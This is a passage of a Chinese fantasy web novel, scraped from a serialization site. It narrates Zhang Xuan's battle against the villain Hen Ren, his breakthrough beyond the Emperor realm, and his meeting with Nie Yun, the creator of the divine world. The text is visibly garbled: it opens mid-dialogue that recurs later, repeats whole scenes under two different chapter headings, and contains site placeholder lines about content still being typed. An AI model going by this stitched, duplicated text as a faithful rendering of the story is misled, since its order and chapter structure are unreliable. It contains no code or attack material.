“这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第223章 荒谬 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第224章 重获新生 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 